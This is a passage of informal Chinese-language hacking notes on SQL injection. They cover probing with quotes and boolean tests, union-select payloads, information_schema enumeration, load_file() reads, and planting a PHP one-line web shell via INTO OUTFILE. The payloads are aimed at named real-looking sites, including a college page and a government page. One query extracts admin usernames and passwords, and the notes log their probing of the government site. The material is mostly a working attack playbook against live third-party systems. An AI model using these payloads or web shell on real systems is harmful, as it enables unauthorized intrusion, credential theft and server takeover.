oad_file()读取文件内容
into outflie into dumpfile 前者读取文本型 后着读取exe可执行文件型
<?php system ($_requst[cmd];)?>这是我们的一句话密码
入侵网站 右键 看属性 看见php字符 我们得知 他是php类型的网站
然后在后面输入'单引号 说明该网站有注入
判断注入 还可以使用and 1=1 and 1=2 或者or 1=1 or 1=2
接下来 我们判断字段长度 order by 后面的是字段数
我检测到的是16 那么
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
然后我们看数据库用户名
user()用户名查询
database()库名查询
version()mysql版本查询
@@version 显示版本 属于变量
@@basedir数据库安装路径
@@datadir 数据数据路径
load_file()括号里输入文件物理路径 用来读这个文件的内容 需要转换16进制不然会不稳定
5.0以上支持查表名
union+select+1,2,3,table_name+from+(select+*+from+information_schema.tables+where+table_schema=0x64696E676A69755F6E6574+order+by+table_schema limit 0,1)t+limit+1
然后远程连接 域名后加phpmyadmin 登录数据库 怎么找数据库就不解释了 御剑什么 都可以 扫描
进了数据库 先建立表xiaoyao
然后建立字段cmd 长度随意
然后运行sql 插入一句话
insert into xiaoyao(cmd) values('<?php system ($_requesr[cmd]);?>')
在数据库查询sql select * from xiaoyao into outfile '网站物理路径/一句话地址'
https://www.hkct.edu.hk/news_detail.php?id=164+and+1=2+union+select+1,2,3,concat(user_name),5,6,7,8,9,10,11+from+Password
5.0以上爆库
+and+1=2+union+select+1,2,3,concat(GROUP_CONCAT(DISTINCT+table_schema)),5,6,7,8+from+information_schema.columns
爆列
+and+1=2+union+select+1,2,3,concat(GROUP_CONCAT(DISTINCT+column_name)),5,6,7,8+from+information_schema.columns+where+table_name=0x62675F61646D696E
爆字段
+and+1=2+union+select+1,admin,3,password,5,6,7,8+from+bg_admin
注入点:https://www.fdwsj.gov.cn/include/web_content.php?id=589
加个单引号,无错误回显。
Order by一直出错,不支持order by。
提交:
https://www.fdwsj.gov.cn/include/web_content.php?id=589+union+select+1
同样出错,可能不支持联合查询,或不支持子句查询。
提交:
https://www.fdwsj.gov.cn/include/web_content.php?id=589+and+(select+1)=1
出错,说明不支持子句查询。
提交:
https://www.fdwsj.gov.cn/include/web_content.php?id=589+and+substring(@@version,1,1)=4
正确,说明mysql版本为4。
提交:
https://www.fdwsj.gov.cn/include/web_content.php?id=589+and+(select+1+from+mysql.user+limit+0,1)=1
出错,说明不是root。